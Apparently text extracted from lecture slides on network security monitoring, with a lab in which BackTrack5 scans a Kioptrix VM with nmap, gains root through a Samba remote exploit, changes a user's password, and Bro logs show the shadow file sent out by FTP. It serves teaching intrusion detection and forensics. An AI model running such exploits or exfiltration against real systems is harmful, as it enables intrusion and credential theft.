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Footprinting

Scanning

Enumeration

Gaining access

Escalating privilege

Covering tracks

Creating back doors

DDoS/DoS

Pilfering

Ref. 
Stuart McClure, et.al., Hacking Exposed, 7th

Edition ςNetwork Security Secrets & Solutions

V Open source search

V Port Scan, OS detection

V List User accounts
V Identify application

V Password sniffing
V Brute-forcing

V Password cracking 
V Known exploits

V Evaluate Trust Search for clear 
text passwords

V Clear logs, Hide tools

V Create rogue user accounts, 
Schedule batch jobs, plant 
remote control services, install 
monitoring mechanism, etc

V SYN flood, ICMP techniques, 
Out of Bounds TCP option, etc.

V

V

V
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backtrack5

BackTrack5
On VM SecurityMonitor

SecurityOnion) On VM On VM

VMwareworkstation on Windows 8.1

VirtualSwitch

Kioptrixlevel 1
- AquireάǊƻƻǘέ ŀŎŎŜǎǎ 
of this machine
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Measploit
Snort, Suricata, BRO, 
Wireshark, PRADS,nmap, Χ 



(5) 

root@bt :~# nmap -n -sTUV -pT:22,80,111,139,443,U:111,137 192.168.24.132
é..
PORT    STATE SERVICE     VERSION
22/ tcp open  ssh OpenSSH 2.9p2 (protocol 1.99 )
80/ tcp open  http             Apache httpd 1.3.20 ((Unix)  ******
111/ tcp open  rpcbind 2 (RPC #100000)
139/ tcp open  netbios -ssn Samba smbd (workgroup: 7MYGROUP)

éé

root@bt :~# ./SambaVuln10 -b 0 192.168.24.132
samba -2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------

*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7 -10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid =0(root) gid =0(root) groups=99(nobody )

Conceptof Proof

BackTrack5
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(6) 

--------------------------------------------------------------

+ Bruteforce mode. (Linux)

+ Host is running samba.

+ Worked!

--------------------------------------------------------------

*** JE MOET JE MUIL HOUWE

Linux kioptrix.level1 2.4.7 -10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

uid =0(root) gid =0(root) groups=99(nobody )

passwd harold
New password: lotsofPasswords
Retype new password: lotsofPasswords
Changing password for user harold
passwd : all authentication tokens updated successfully

βBruteForce

Χ

BackTrack5
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Firewall
Access blocked at the Firewall (L3, 4)

IPS (Intruder 
Prevention System)Access blocked at the IPS (L3-AP)

Intruder
Intruder attempts access, but blocked by AV

Intruder reaches data, but 
denied by while exfiltrating

AV
(Anti Virus)

DLP(Data Loss 
Prevention)

Intruder exfiltratesdata, but 
denied by DRM; 

DRM(Digital 
Rights 

managements)

) (7) 

Ref. 
Richard Bejtlich, The practice of network security monitoring ςUnderstanding INCIDENT DETECTION AND RESPONSE 
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Ref. 
Chris Sanders, et. al., Applied Network Security Monitoring - Collection, 
Detection, and Analysis
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Ref. 
Sherri DAVIDOFF, et. Al., Network Forensics ςTracking Hackers Through Cyberspace
Chris Sanders, et. al., Applied Network Security Monitoring - Collection, Detection, and Analysis
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Network Forensic -

ŅetworkForensicTool (BRO(Open Source)) Forensic
V SecurityOnion)

VBRO

1399888506.156569  Cg9GGd3c9hFEhjlJC2192.168.24.13133676 192.168.24.2 53            udp dns
1399888541.792922  CYbKXA4hYLlYGd6FCh192.168.24.132 1027   192.168.24.13161529     tcp ftp-data
1399888543.820839  CQRPKKKhqH74jXYJ6     192.168.24.1321028   192.168.24.131  51083     tcp ftp-data
1399888506.154524COGgPg2YyIR8XuE2v6   192.168.24.132 1026   192.168.24.131  21           tcp ftp
1399888487.895784  CQyk9q4l6LrNQGYRv5   192.168.24.13150428  192.168.24.132 45295    tcp -

BackTrack5

1399888541.792345  COGgPg2YyIR8XuE2v6192.168.24.132 1026  192.168.24.131  21 ftplogin <hidden>  PASV
Entering Passive Mode (192,168,24,131,240,89)ΧΧ

1399888541.793302  COGgPg2YyIR8XuE2v6  192.168.24.132  1026  192.168.24.131 21 ftplogin <hidden>  STOR
ftp://192.168.24.131/./shadow ΧΧΦΦ

1399888543.820589  COGgPg2YyIR8XuE2v6192.168.24.132 1026  192.168.24.131 21 ftplogin <hidden>  PASV
Entering Passive Mode (192,168,24,131,199,139)ΧΧΧΦ

FTP

FTP
ΧΦ 15
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CucKoo

ThreatExpertvirustotal

Team Cymru
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IP Void

URLVoid

Malware
DomainList

SpyeyeTracker

ZeusTracker

NREN-ISAC Intelligence
CollectiveIntelligenceFramework)
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BGP (flowspec)
Ref. RFC5575
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